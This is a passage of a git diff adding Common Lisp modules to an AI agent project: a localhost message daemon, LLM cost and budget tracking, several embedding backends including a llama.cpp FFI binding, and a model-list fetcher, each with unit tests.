#\Newline #\Tab #\Return))) + do (read-char stream)) + (let ((count (read-sequence length-buffer stream))) + (if (< count 6) + :eof + (let ((len (ignore-errors (parse-integer length-buffer :radix 16)))) + (if (not len) + :error + (let ((msg-buffer (make-string len))) + (read-sequence msg-buffer stream) + (let ((*read-eval* nil)) + (handler-case (read-from-string msg-buffer) + (error () :error))))))))) + (error () :error)))) + +(defvar *daemon-socket* nil) +(defvar *daemon-port* nil "The port the daemon is actually listening on (may differ from default if 9105 was in use).") + +(defun client-handle-connection (socket) + "Handles a single TUI/CLI client connection in a dedicated thread." + (let ((stream (usocket:socket-stream socket))) + (handler-case + (progn + (format stream "~a" (frame-message (make-hello-message "0.7.2"))) + (finish-output stream) + (loop + (let ((msg (read-framed-message stream))) + (cond + ((eq msg :eof) (return)) + ((eq msg :error) (return)) + ((eq (getf msg :type) :health-check) + (let ((health-msg (list :type :health-response + :status (or (and (boundp 'passepartout::*system-health*) + (symbol-value 'passepartout::*system-health*)) + :unknown) + :checked-p (or (and (boundp 'passepartout::*health-check-ran*) + (symbol-value 'passepartout::*health-check-ran*)) + nil)))) + (format stream "~a" (frame-message health-msg)) + (finish-output stream))) + (t (stimulus-inject msg :stream stream)))))) + (error (c) (log-message "CLIENT ERROR: ~a" c))) + (ignore-errors (usocket:socket-close socket)))) + +(defun start-daemon (&key (port 9105) (max-retries 10)) + "Starts the network listener for TUI/CLI clients. +If PORT is taken, tries subsequent ports up to PORT+MAX-RETRIES." + (loop for attempt from 0 below max-retries + for p = (+ port attempt) + do (handler-case + (progn + (setf *daemon-socket* (usocket:socket-listen "127.0.0.1" p :reuse-address t)) + (log-message "DAEMON: Listening on localhost:~a" p) + (setf *daemon-port* p) + (bt:make-thread + (lambda () + (loop + (let ((client-socket (usocket:socket-accept *daemon-socket*))) + (when client-socket + (bt:make-thread (lambda () (client-handle-connection client-socket)) + :name "passepartout-client-handler"))))) + :name "passepartout-server-listener") + (return p)) + (usocket:address-in-use-error () + (when (= attempt (1- max-retries)) + (log-message "DAEMON: All ports ~d-~d in use — giving up" port (+ port max-retries -1)) + (error "No available port for daemon")) + (log-message "DAEMON: Port ~d in use, trying ~d..." p (1+ p)))))) + +(defun make-hello-message (version) + "Constructs the standard HELLO handshake message." + (list :TYPE :EVENT + :PAYLOAD (list :ACTION :handshake + :VERSION version + :CAPABILITIES '(:AUTH :ORG-AST)))) + +(in-package :passepartout) + +(defun protocol-schema-validate (msg) + "Strict structural validation for incoming protocol messages." + (unless (listp msg) (error "Message must be a plist")) + (let ((type (proto-get msg :type))) + (unless (member type '(:REQUEST :EVENT :RESPONSE :LOG :STATUS)) + (error "Invalid message type '~a'" type)) + t)) + +(defun validate-communication-protocol-schema (msg) + "Backward-compatibility alias for protocol-schema-validate." + (protocol-schema-validate msg)) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-communication-tests + (:use :cl :fiveam :passepartout) + (:export #:communication-protocol-suite)) +(in-package :passepartout-communication-tests) + +(def-suite communication-protocol-suite :description "Communication Protocol Suite") +(in-suite communication-protocol-suite) + +(test test-framing + "Contract 1: frame-message produces correct hex length prefix." + (let* ((msg '(:type :EVENT :payload (:action :handshake))) + (framed (frame-message msg))) + (is (string= "00002C" (string-upcase (subseq framed 0 6)))))) + +(test test-framing-round-trip + "Contract 3: frame → read-frame preserves message identity." + (let* ((msg '(:type :EVENT :payload (:action :handshake :version "1.0") :meta (:source :tui))) + (framed (frame-message msg)) + (unframed (read-framed-message (make-string-input-stream framed)))) + (is (equal msg unframed)))) + +(test test-framing-empty-message + "Contract 1: simple messages frame with valid hex length." + (let* ((msg '(:type :ping)) + (framed (frame-message msg))) + (is (> (length framed) 5)) + (is (every (lambda (c) (digit-char-p c 16)) (subseq framed 0 6))))) + +(test test-read-framed-message + "Contract 2: read-framed-message decodes a framed message correctly." + (let* ((original '(:type :EVENT :payload (:text "decoded" :id 42))) + (framed (frame-message original)) + (decoded (read-framed-message (make-string-input-stream framed)))) + (is (equal original decoded)))) + +(test test-read-framed-message-eof + "Contract 2: read-framed-message returns :eof on incomplete stream." + (let ((decoded (read-framed-message (make-string-input-stream "000")))) + (is (eq :eof decoded)))) diff --git a/lisp/cost-tracker.lisp b/lisp/cost-tracker.lisp new file mode 100644 index 0000000..f3bf2c6 --- /dev/null +++ b/lisp/cost-tracker.lisp @@ -0,0 +1,190 @@ +(in-package :passepartout) + +(defvar *session-cost* (list :total 0.0 :calls 0 :by-provider nil) + "Session cost accumulator: (:total :calls :by-provider )") + +(defvar *session-cost-lock* (bordeaux-threads:make-lock "session-cost-lock") + "Lock protecting *session-cost* from concurrent updates.") + +(defun cost-track-call (provider prompt-text &optional response-text) + "Compute and accumulate the cost of a single LLM call. +Returns the cost of this call in USD." + (let* ((input-tokens (if (fboundp 'count-tokens) + (funcall (symbol-function 'count-tokens) (or prompt-text "")) + (ceiling (length (or prompt-text "")) 4))) + (output-tokens (if (and response-text (fboundp 'count-tokens)) + (funcall (symbol-function 'count-tokens) response-text) + 0)) + (total-tokens (+ input-tokens output-tokens)) + (cost (provider-token-cost provider total-tokens))) + (bordeaux-threads:with-lock-held (*session-cost-lock*) + (incf (getf *session-cost* :total) cost) + (incf (getf *session-cost* :calls)) + (let ((by-prov (getf *session-cost* :by-provider))) + (let ((entry (assoc provider by-prov))) + (if entry + (incf (cdr entry) cost) + (setf (getf *session-cost* :by-provider) + (acons provider cost by-prov)))))) + (log-message "COST TRACKER: ~a call: ~,4f USD (session total: ~,4f USD)" + provider cost (getf *session-cost* :total)) + cost)) + +(defun cost-session-total () + "Returns the current session's total cost in USD." + (bordeaux-threads:with-lock-held (*session-cost-lock*) + (getf *session-cost* :total))) + +(defun cost-session-calls () + "Returns the total number of LLM calls in this session." + (bordeaux-threads:with-lock-held (*session-cost-lock*) + (getf *session-cost* :calls))) + +(defun cost-by-provider () + "Returns an alist of (provider . total-cost) for this session." + (bordeaux-threads:with-lock-held (*session-cost-lock*) + (getf *session-cost* :by-provider))) + +(defun cost-session-summary () + "Returns plist (:total :calls :by-provider )." + (bordeaux-threads:with-lock-held (*session-cost-lock*) + (list :total (getf *session-cost* :total) + :calls (getf *session-cost* :calls) + :by-provider (getf *session-cost* :by-provider)))) + +(defun cost-session-reset () + "Zeroes the session cost accumulator." + (bordeaux-threads:with-lock-held (*session-cost-lock*) + (setf (getf *session-cost* :total) 0.0) + (setf (getf *session-cost* :calls) 0) + (setf (getf *session-cost* :by-provider) nil))) + +(defun cost-format-budget-status (&optional (daily-budget nil)) + "Returns a string for the TUI status bar showing session cost. +If DAILY-BUDGET is provided, includes percentage of budget used." + (let* ((total (cost-session-total)) + (calls (cost-session-calls)) + (budget (or daily-budget + (ignore-errors + (parse-integer (uiop:getenv "COST_BUDGET_DAILY"))) + 0)) + (pct (if (> budget 0) (* 100.0 (/ total budget)) 0.0)) + (status (cond + ((= calls 0) "—") + ((< pct 50) "OK") + ((< pct 90) "WARN") + (t "HIGH")))) + (if (> budget 0) + (format nil "[Cost: $~,2f (~,0f%) ~a]" total pct status) + (format nil "[Cost: $~,2f | ~d calls]" total calls)))) + +(defun cost-track-backend-call (backend prompt-text &optional response-text) + "Track cost of a backend cascade call." + (cost-track-call backend prompt-text response-text)) + +(defvar *session-budget* + (ignore-errors (read-from-string (uiop:getenv "SESSION_BUDGET_USD"))) + "Maximum USD to spend in this session. NIL means no limit.") + +(defun budget-remaining-usd () + "Returns remaining budget in USD, or a large sentinel if unlimited." + (if *session-budget* + (let ((remaining (- *session-budget* (cost-session-total)))) + (if (< remaining 0) 0.0 remaining)) + most-positive-double-float)) + +(defun budget-exhausted-p () + "T if the session budget is set and fully consumed." + (and *session-budget* (<= (budget-remaining-usd) 0.0))) + +(defun budget-estimate-call (prompt-text) + "Estimate the dollar cost of a pending LLM call from its prompt text. +Returns 0.0 if the tokenizer is not loaded (allows call through)." + (if (fboundp 'count-tokens) + (let* ((tokens (funcall (symbol-function 'count-tokens) (or prompt-text ""))) + (cost (provider-token-cost (first *provider-cascade*) tokens))) + cost) + 0.0)) + +(defun budget-exhaustion-message () + "Returns a user-facing plist explaining that the budget is spent." + (let ((total (cost-session-total)) + (cap *session-budget*)) + (list :TYPE :REQUEST + :PAYLOAD (list :ACTION :MESSAGE + :TEXT (format nil "Session budget exhausted: $~,4f of $~,2f spent. Raise SESSION_BUDGET_USD or reset with /cost-reset to continue." + total cap) + :EXPLANATION "Budget cap reached. No LLM calls will be made until the limit is raised.")))) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-cost-tests + (:use :cl :fiveam :passepartout) + (:export #:cost-suite)) + +(in-package :passepartout-cost-tests) + +(def-suite cost-suite :description "Cost tracking and budget management") +(in-suite cost-suite) + +(test test-cost-track-call + "Contract 1: cost-track-call returns a positive number." + (cost-session-reset) + (let ((cost (cost-track-call :deepseek "hello world"))) + (is (numberp cost)) + (is (> cost 0.0)))) + +(test test-cost-session-total-accumulates + "Contract 2: session total grows with multiple calls." + (cost-session-reset) + (cost-track-call :deepseek "hello") + (cost-track-call :deepseek "world") + (let ((total (cost-session-total))) + (is (> total 0.0)) + (is (= 2 (cost-session-calls))))) + +(test test-cost-session-reset + "Contract 3: cost-session-reset zeroes the accumulator." + (cost-session-reset) + (cost-track-call :deepseek "hello") + (is (> (cost-session-total) 0.0)) + (cost-session-reset) + (is (= 0.0 (cost-session-total))) + (is (= 0 (cost-session-calls)))) + +(test test-cost-format-budget-status + "Contract 4: format-budget-status returns a string." + (cost-session-reset) + (cost-track-call :deepseek "hello world") + (let ((status (cost-format-budget-status 100))) + (is (stringp status)) + (is (search "$" status)))) + +(test test-cost-by-provider + "Contract: cost-by-provider returns per-provider breakdown." + (cost-session-reset) + (cost-track-call :deepseek "a") + (cost-track-call :groq "b") + (let ((by (cost-by-provider))) + (is (listp by)) + (is (assoc :deepseek by)) + (is (assoc :groq by)))) + +(test test-cost-track-no-response + "Contract 1: cost-track-call works without response-text." + (cost-session-reset) + (let ((cost (cost-track-call :deepseek "test"))) + (is (> cost 0.0)))) + +(test test-cost-session-summary + "Contract 5: cost-session-summary returns plist with total, calls, by-provider." + (cost-session-reset) + (cost-track-call :deepseek "hello") + (cost-track-call :groq "world") + (let ((s (cost-session-summary))) + (is (> (getf s :total) 0.0)) + (is (= 2 (getf s :calls))) + (let ((by (getf s :by-provider))) + (is (assoc :deepseek by)) + (is (assoc :groq by))))) diff --git a/lisp/embedding-backends.lisp b/lisp/embedding-backends.lisp new file mode 100644 index 0000000..6c765ed --- /dev/null +++ b/lisp/embedding-backends.lisp @@ -0,0 +1,242 @@ +(in-package :passepartout) + +(defvar *embedding-provider* :trigram + "Active embedding provider: :trigram, :sha256, :local, :openai, :native.") + +(defvar *embedding-queue* nil + "Queue of text objects awaiting embedding.") + +(defvar *embedding-batch-size* 10 + "Maximum texts per embedding API call.") + +(defun embedding-backend-local (text) + "Generate embeddings via a local OpenAI-compatible endpoint." + (let* ((url (or (uiop:getenv "LOCAL_BASE_URL") (format nil "http://~a" (or (uiop:getenv "OLLAMA_HOST") "localhost:11434")))) + (model (or (uiop:getenv "EMBEDDING_MODEL") "nomic-embed-text")) + (body (cl-json:encode-json-to-string + `((model . ,model) (input . ,text))))) + (handler-case + (let* ((response (dex:post (format nil "~a/api/embeddings" url) + :headers '(("Content-Type" . "application/json")) + :content body :connect-timeout 5 :read-timeout 30)) + (json (cl-json:decode-json-from-string response)) + (data (car (cdr (assoc :data json))))) + (or (cdr (assoc :embedding data)) + (list :error "No embedding in response"))) + (error (c) + (list :error (format nil "Embedding failed: ~a" c)))))) + +(defun embedding-backend-openai (text) + "Generate embeddings via OpenAI compatible /v1/embeddings endpoint." + (let* ((api-key (uiop:getenv "OPENAI_API_KEY")) + (base-url (or (uiop:getenv "EMBEDDING_BASE_URL") "https://api.openai.com/v1")) + (model (or (uiop:getenv "EMBEDDING_MODEL") "text-embedding-3-small")) + (body (cl-json:encode-json-to-string + `((model . ,model) (input . ,text))))) + (handler-case + (let* ((response (dex:post (format nil "~a/embeddings" base-url) + :headers `(("Content-Type" . "application/json") + ("Authorization" . ,(format nil "Bearer ~a" api-key))) + :content body :connect-timeout 5 :read-timeout 30)) + (json (cl-json:decode-json-from-string response)) + (data (car (cdr (assoc :data json))))) + (or (cdr (assoc :embedding data)) + (list :error "No embedding in response"))) + (error (c) + (list :error (format nil "OpenAI Embedding failed: ~a" c)))))) + +(defun embedding-backend-sha256 (text) + "SHA-256 based vector — integrity only, no semantic retrieval capability. +For environments where even trivial computation is undesirable." + (let* ((digest (ironclad:digest-sequence :sha256 (babel:string-to-octets text))) + (vec (make-array 8 :element-type 'single-float :initial-element 0.0))) + (dotimes (i (min (length digest) 8)) + (setf (aref vec i) (float (/ (aref digest i) 255.0) 0.0))) + vec)) + +(defun embedding-backend-hashing (text) + "Backward-compatibility alias for SHA-256 hashing." + (embedding-backend-sha256 text)) + +(defun embedding-backend-trigram (text) + "Trigram bloom filter — captures lexical overlap for semantic retrieval. +Returns a 128-dim float vector where each position corresponds to a trigram hash. +Pure Lisp, zero external dependencies, works fully offline." + (let* ((s (string-trim '(#\Space #\Newline #\Tab) (string-downcase text))) + (trigrams (make-hash-table :test 'equal)) + (result (make-array 128 :element-type 'single-float :initial-element 0.0))) + (when (>= (length s) 3) + (loop for i from 0 to (- (length s) 3) + for tri = (subseq s i (+ i 3)) + do (setf (gethash tri trigrams) t))) + (maphash (lambda (tri _) (declare (ignore _)) + (setf (aref result (mod (sxhash tri) 128)) 1.0)) + trigrams) + result)) + +(defvar *embedding-backend* nil + "Explicit backend override (nil = use *embedding-provider*).") + +(defun embeddings-compute (text) + "Compute an embedding vector for text using the active backend." + (embed-object text)) + +(defun embed-object (text) + "Embed a single text string using the active backend." + (let* ((selected (or *embedding-backend* *embedding-provider* :trigram)) + (backend (case selected + (:local #'embedding-backend-local) + (:openai #'embedding-backend-openai) + (:native + (unless (fboundp 'embedding-backend-native) + (embedding-native-ensure-loaded)) + #'embedding-backend-native) + (:sha256 #'embedding-backend-sha256) + (t #'embedding-backend-trigram)))) + (if backend + (progn + (log-message "EMBEDDING: Provider ~a, backend=~a" selected backend) + (funcall backend text)) + (progn + (log-message "EMBEDDING: No backend for provider ~a, using hashing" selected) + (embedding-backend-hashing text))))) + +(defun embed-queue-object (object) + "Queue a text object for async embedding." + (push object *embedding-queue*) + (log-message "EMBEDDING: Queued object")) + +(defun embed-all-pending () + "Drain the embedding queue, store vectors in the store-keyed objects." + (let ((batch (nreverse *embedding-queue*))) + (setf *embedding-queue* nil) + (dolist (item batch) + (handler-case + (let ((id (getf item :id)) + (text (getf item :text))) + (when (and id text) + (let ((vec (embeddings-compute text)) + (obj (gethash id *memory-store*))) + (when (and obj vec (not (listp vec))) + (setf (memory-object-vector obj) vec)) + (log-message "EMBEDDING: Computed vector for ~a (~d dims)" id (length vec))))) + (error (c) + (log-message "EMBEDDING: Failed to embed object: ~a" c)))))) + +;; Apply env var override at load time +(let ((provider-env (uiop:getenv "EMBEDDING_PROVIDER"))) + (when provider-env + (let ((kw (intern (string-upcase provider-env) :keyword))) + (setf *embedding-provider* kw) + (log-message "EMBEDDING: Set provider to ~a from EMBEDDING_PROVIDER env" kw)))) + +(defun embedding-native-ensure-loaded () + "Lazy-load the native CFFI backend. First call blocks ~30s for model init." + (when (fboundp 'embedding-backend-native) + (return-from embedding-native-ensure-loaded t)) + (let* ((data-dir (uiop:ensure-directory-pathname + (or (uiop:getenv "PASSEPARTOUT_DATA_DIR") + (namestring (merge-pathnames ".local/share/passepartout/" + (user-homedir-pathname)))))) + (native-file (merge-pathnames "lisp/embedding-native.lisp" data-dir))) + (handler-case + (progn + (load native-file :verbose nil :print nil) + (log-message "EMBEDDING: Native backend loaded from ~a" native-file)) + (error (c) + (error "Failed to load native embedding backend (~a): ~a" native-file c))))) + +;; Preload native model if configured at startup +(when (eq *embedding-provider* :native) + (log-message "EMBEDDING: Native provider configured, preloading model...") + (embedding-native-ensure-loaded) + (handler-case + (progn + (embedding-native-load-model) + (log-message "EMBEDDING: Native model preloaded (~d dims)" + (embedding-native-get-dim))) + (error (c) + (log-message "EMBEDDING: Preload deferred: ~a (will retry on first call)" c)))) + +(log-message "EMBEDDING: Gateway loaded with provider ~a" *embedding-provider*) + +(defun mark-vector-stale (id &optional content) + "Mark a memory object's vector as :pending and queue it for re-embedding. +When content is not supplied, reads from the object in *memory-store*." + (let* ((obj (gethash id *memory-store*)) + (text (or content (and obj (memory-object-content obj))))) + (when obj + (setf (memory-object-vector obj) :pending)) + (when text + (push (list :id id :text text) *embedding-queue*) + (log-message "EMBEDDING: Marked ~a vector stale, queued for re-embed" id)) + (or obj text))) + +(defskill :passepartout-embedding-backends + :priority 70 + :trigger (lambda (ctx) (declare (ignore ctx)) nil)) + +;; Register periodic batch embedding via cron (when orchestrator available) +(when (fboundp 'orchestrator-register-cron) + (handler-case + (orchestrator-register-cron :embed-batch + "<2026-05-05 Tue +10m>" + 'embed-all-pending + :reflex) + (error (c) + (log-message "EMBEDDING: Cron registration failed: ~a" c)))) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-embedding-tests + (:use :cl :passepartout) + (:export #:embedding-suite)) + +(in-package :passepartout-embedding-tests) + +(fiveam:def-suite embedding-suite :description "Embedding gateway verification") +(fiveam:in-suite embedding-suite) + +(fiveam:test test-embedding-backend-hashing + "Contract 2: hashing backend produces 8-element float vector." + (let ((vec (embedding-backend-hashing "hello world"))) + (fiveam:is (arrayp vec)) + (fiveam:is (= 8 (length vec))) + (fiveam:is (every #'numberp (coerce vec 'list))))) + +(fiveam:test test-embedding-backend-hashing-deterministic + "Contract 2: same input produces same vector." + (let ((v1 (embedding-backend-hashing "test")) + (v2 (embedding-backend-hashing "test"))) + (fiveam:is (equalp v1 v2)))) + +(fiveam:test test-embeddings-compute + "Contract 1: embeddings-compute returns a float vector." + (let ((vec (embeddings-compute "some text"))) + (fiveam:is (arrayp vec)) + (fiveam:is (> (length vec) 0)))) + +(fiveam:test test-embed-queue-and-drain + "Contract 3: embed-all-pending drains queue and stores vectors." + (let ((*embedding-queue* nil)) + (embed-queue-object '(:id "test-obj" :text "sample text")) + (fiveam:is (= 1 (length *embedding-queue*))) + (embed-all-pending) + (fiveam:is (null *embedding-queue*)))) + +(fiveam:test test-mark-vector-stale + "Contract 4: mark-vector-stale sets vector to :pending and queues for re-embed." + (let ((*embedding-queue* nil)) + ;; Create an object in memory with a vector + (let ((obj (make-memory-object :id "stale-test" :content "stale content" + :vector #(1.0 2.0 3.0)))) + (setf (gethash "stale-test" *memory-store*) obj) + (mark-vector-stale "stale-test") + (fiveam:is (eq :pending (memory-object-vector obj))) + (fiveam:is (= 1 (length *embedding-queue*))) + (let ((item (first *embedding-queue*))) + (fiveam:is (string= "stale-test" (getf item :id))) + (fiveam:is (string= "stale content" (getf item :text)))) + ;; Clean up + (remhash "stale-test" *memory-store*)))) diff --git a/lisp/embedding-native.lisp b/lisp/embedding-native.lisp new file mode 100644 index 0000000..1dafea5 --- /dev/null +++ b/lisp/embedding-native.lisp @@ -0,0 +1,228 @@ +(unless (find-package :passepartout) + (make-package :passepartout :use '(:cl))) + +(in-package :passepartout) + +(cffi:define-foreign-library libllama_wrap (:unix "/usr/local/lib/libllama_wrap.so")) +(cffi:use-foreign-library libllama_wrap) +(cffi:define-foreign-library libllama (:unix "/usr/local/lib/libllama.so")) +(cffi:use-foreign-library libllama) + +(cffi:defcstruct (llama-mparams :size 72) + (devices :pointer) (tensor-buft :pointer) (n-gpu-layers :int32) + (split-mode :int32) (main-gpu :int32) (_pad1 :int32) + (tensor-split :pointer) (progress-cb :pointer) (progress-data :pointer) + (kv-overrides :pointer) (vocab-only :bool) (use-mmap :bool) + (_pad2 :uint8 :count 6)) + +(cffi:defcstruct (llama-cparams :size 136) + (n-ctx :uint32) + (n-batch :uint32) + (n-ubatch :uint32) + (n-seq-max :uint32) + (n-threads :int32) + (n-threads-batch :int32) + (rope-scaling-type :int32) + (pooling-type :int32) + (attention-type :int32) + (flash-attn-type :int32) + (rope-freq-base :float) + (rope-freq-scale :float) + (yarn-ext-factor :float) + (yarn-attn-factor :float) + (yarn-beta-fast :float) + (yarn-beta-slow :float) + (yarn-orig-ctx :uint32) + (defrag-thold :float) + (cb-eval :pointer) + (cb-eval-user-data :pointer) + (type-k :int32) + (type-v :int32) + (abort-callback :pointer) + (abort-callback-data :pointer) + (embeddings :bool) + (offload-kqv :bool) + (no-perf :bool) + (op-offload :bool) + (swa-full :bool) + (kv-unified :bool) + (_c-pad3 :uint8 :count 15)) + +(cffi:defcstruct (llama-batch :size 56) + (n-tokens :int32) (_bpad1 :int32) (token :pointer) (embd :pointer) + (pos :pointer) (n-seq-id :pointer) (seq-id :pointer) (logits :pointer)) + +;; llama.cpp public API +(cffi:defcfun ("llama_backend_init" bl) :void) +(cffi:defcfun ("llama_model_default_params" mdp) :void (p :pointer)) +(cffi:defcfun ("llama_context_default_params" cdp) :void (p :pointer)) +(cffi:defcfun ("llama_model_n_embd" ne) :int32 (m :pointer)) +(cffi:defcfun ("llama_model_get_vocab" gv) :pointer (m :pointer)) +(cffi:defcfun ("llama_vocab_n_tokens" vnt) :int32 (vocab :pointer)) +(cffi:defcfun ("llama_tokenize" tok) :int32 (vocab :pointer) (text :string) (len :int32) (tokens :pointer) (n-max :int32) (add-special :bool) (parse-special :bool)) +(cffi:defcfun ("llama_get_embeddings_ith" embd-ith) :pointer (ctx :pointer) (i :int32)) +(cffi:defcfun ("llama_get_embeddings_seq" embd-seq) :pointer (ctx :pointer) (seq-id :int32)) +(cffi:defcfun ("llama_pooling_type" get-pooling) :int32 (ctx :pointer)) +(cffi:defcfun ("llama_model_free" fm) :void (m :pointer)) +(cffi:defcfun ("llama_free" fc) :void (ctx :pointer)) + +;; C wrapper (bridges struct-by-value ABI) +(cffi:defcfun ("llama_wrap_model_load" wrap-load) :pointer (path :string) (params :pointer)) +(cffi:defcfun ("llama_wrap_new_context" wrap-ctx) :pointer (model :pointer) (params :pointer)) +(cffi:defcfun ("llama_wrap_encode" wrap-encode) :int32 (ctx :pointer) (batch :pointer)) +(cffi:defcfun ("llama_wrap_batch_init" wrap-batch-init) :void (batch :pointer) (n-tokens :int32) (embd :int32) (n-seq-max :int32)) +(cffi:defcfun ("llama_wrap_batch_free" wrap-batch-free) :void (batch :pointer)) + +(defvar *native-model* nil + "Cached llama.cpp model for embedding inference.") + +(defvar *native-context* nil + "Cached llama.cpp context for embedding inference.") + +(defvar *native-vocab* nil + "Cached llama.cpp vocab handle (from model).") + +(defvar *native-model-path* + (merge-pathnames ".local/share/passepartout/models/nomic-embed-text-v1.5.Q4_K_M.gguf" + (user-homedir-pathname)) + "Path to the bundled embedding model GGUF file.") + +(defun embedding-native-load-model () + "Load the embedding model and create a context. Caches globally." + (unless (and *native-model* *native-context*) + (unless (uiop:file-exists-p *native-model-path*) + (error "Native embedding model not found at ~a" *native-model-path*)) + (sb-int:set-floating-point-modes :traps '()) + (bl) + ;; Load model + (cffi:with-foreign-object (mp '(:struct llama-mparams)) + (mdp mp) + (setf (cffi:foreign-slot-value mp '(:struct llama-mparams) 'n-gpu-layers) 0) + (setf (cffi:foreign-slot-value mp '(:struct llama-mparams) 'use-mmap) 0) + (setf *native-model* (wrap-load (namestring *native-model-path*) mp))) + (setf *native-vocab* (gv *native-model*)) + ;; Create context + (let ((n-embd (ne *native-model*))) + (cffi:with-foreign-object (cp '(:struct llama-cparams)) + (cdp cp) + (setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'n-ctx) 512) + (setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'n-batch) 512) + (setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'n-ubatch) 512) + (setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'n-seq-max) 1) + (setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'n-threads) 2) + (setf (cffi:foreign-slot-value cp '(:struct llama-cparams) 'embeddings) 1) + (setf *native-context* (wrap-ctx *native-model* cp))) + (format *error-output* "~&;; EMBEDDING: Native model loaded (~d-dim)~%" n-embd))) + (values *native-model* *native-context* *native-vocab*)) + +(defun embedding-backend-native (text) + "Compute an embedding vector using the native llama.cpp backend. +Returns a simple-vector of single-floats (dimension: n_embd, typically 768)." + (embedding-native-load-model) + (let* ((n-embd (ne *native-model*)) + (max-tokens 256) + (tokens (cffi:foreign-alloc :int32 :count max-tokens)) + (n-tok 0)) + (unwind-protect + (progn + (setf n-tok (tok *native-vocab* text (length text) tokens max-tokens t t)) + (when (zerop n-tok) + (error "Native embedding: tokenization returned 0 tokens for ~s" text)) + (let ((result (make-array n-embd :element-type 'single-float :initial-element 0.0f0))) + (cffi:with-foreign-object (batch '(:struct llama-batch)) + (wrap-batch-init batch n-tok 0 1) + (setf (cffi:foreign-slot-value batch '(:struct llama-batch) 'n-tokens) n-tok) + (dotimes (i n-tok) + (setf (cffi:mem-aref (cffi:foreign-slot-value batch '(:struct llama-batch) 'token) :int32 i) + (cffi:mem-aref tokens :int32 i)) + (setf (cffi:mem-aref (cffi:foreign-slot-value batch '(:struct llama-batch) 'pos) :int32 i) i) + (setf (cffi:mem-aref (cffi:foreign-slot-value batch '(:struct llama-batch) 'n-seq-id) :int32 i) 1) + (setf (cffi:mem-aref (cffi:mem-aref (cffi:foreign-slot-value batch '(:struct llama-batch) 'seq-id) :pointer i) :int32 0) 0) + (setf (cffi:mem-aref (cffi:foreign-slot-value batch '(:struct llama-batch) 'logits) :int8 i) 1)) + (let ((enc (wrap-encode *native-context* batch))) + (unless (zerop enc) + (error "Native embedding: encode returned ~d" enc))) + (let* ((pooling (get-pooling *native-context*)) + (eptr (if (= pooling 0) + (embd-ith *native-context* (1- n-tok)) + (embd-seq *native-context* 0)))) + (dotimes (i n-embd) + (setf (aref result i) (cffi:mem-aref eptr :float i)))) + (wrap-batch-free batch)) + result)) + (cffi:foreign-free tokens)))) + +(defun embedding-native-unload () + "Release native model and context memory." + (when *native-context* + (fc *native-context*) + (setf *native-context* nil)) + (when *native-model* + (fm *native-model*) + (setf *native-model* nil *native-vocab* nil)) + (values)) + +(defun embedding-native-get-dim () + "Return embedding dimension of loaded native model (0 if not loaded)." + (if *native-model* + (ne *native-model*) + 0)) + +(defun vector-cosine-similarity (a b) + "Cosine similarity between two simple-vectors of single-floats." + (let ((dot 0.0d0) (anorm 0.0d0) (bnorm 0.0d0)) + (dotimes (i (length a)) + (let ((af (float (aref a i) 0.0d0)) + (bf (float (aref b i) 0.0d0))) + (incf dot (* af bf)) + (incf anorm (* af af)) + (incf bnorm (* bf bf)))) + (if (or (zerop anorm) (zerop bnorm)) + 0.0d0 + (/ dot (sqrt (* anorm bnorm)))))) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-embedding-native-tests + (:use :cl :fiveam :passepartout) + (:export #:embedding-native-suite)) + +(in-package :passepartout-embedding-native-tests) + +(def-suite embedding-native-suite :description "Verification of Native Embedding Inference") +(in-suite embedding-native-suite) + +(test test-native-embedding-available + "Contract v0.4.1: backend function exists and model file is present." + (is (fboundp 'passepartout::embedding-backend-native)) + (is (uiop:file-exists-p passepartout::*native-model-path*))) + +(test test-native-embedding-loads + "Contract v0.4.1: model loads and produces a valid context." + (finishes (passepartout::embedding-native-load-model))) + +(test test-native-embedding-dimensions + "Contract v0.4.1: embedding produces correct-dimensional vector." + (let ((vec (passepartout::embedding-backend-native "test sentence"))) + (is (vectorp vec)) + (is (= (length vec) 768)) + (is (typep (aref vec 0) 'single-float)))) + +(test test-native-embedding-identical + "Contract v0.4.1: identical texts produce identical embeddings." + (let ((v1 (passepartout::embedding-backend-native "hello world")) + (v2 (passepartout::embedding-backend-native "hello world"))) + (is (= (length v1) (length v2))) + (let ((sim (passepartout::vector-cosine-similarity v1 v2))) + (is (> sim 0.9999))))) + +(test test-native-embedding-similar + "Contract v0.4.1: semantically similar texts are closer than unrelated." + (let ((v-auth (passepartout::embedding-backend-native "implement user login form")) + (v-related (passepartout::embedding-backend-native "add password authentication")) + (v-unrelated (passepartout::embedding-backend-native "banana fruit yellow"))) + (let ((sim-related (passepartout::vector-cosine-similarity v-auth v-related)) + (sim-unrelated (passepartout::vector-cosine-similarity v-auth v-unrelated))) + (is (> sim-related 0.5)) + (is (> sim-related sim-unrelated))))) diff --git a/lisp/neuro-explorer.lisp b/lisp/neuro-explorer.lisp new file mode 100644 index 0000000..decccdb --- /dev/null +++ b/lisp/neuro-explorer.lisp @@ -0,0 +1,109 @@ +(in-package :passepartout) + +(defvar *model-cache* (make-hash-table :test 'equal) + "Cache: provider keyword -> (timestamp . model-list)") + +(defvar *model-cache-ttl* 300 + "Cache TTL in seconds (default 5 min)") + +(defun model-explorer-fetch-openrouter () + "Query OpenRouter /api/v1/models and return parsed model list." + (handler-case + (let* ((raw (dex:get "https://openrouter.ai/api/v1/models" :connect-timeout 10 :read-timeout 20)) + (json (cl-json:decode-json-from-string raw)) + (data (cdr (assoc :data json)))) + (mapcar (lambda (m) + (let ((pricing (cdr (assoc :pricing m)))) + (list :id (cdr (assoc :id m)) + :name (cdr (assoc :name m)) + :context (cdr (assoc :context_length m)) + :free (and pricing + (string= "0" (cdr (assoc :prompt pricing))) + (string= "0" (cdr (assoc :completion pricing))))))) + data)) + (error (c) + (log-message "MODEL-EXPLORER: OpenRouter API error: ~a" c) + nil))) + +(defun model-explorer-fetch (provider) + "Fetch available models for PROVIDER. Returns list of (:id :name :context :free) 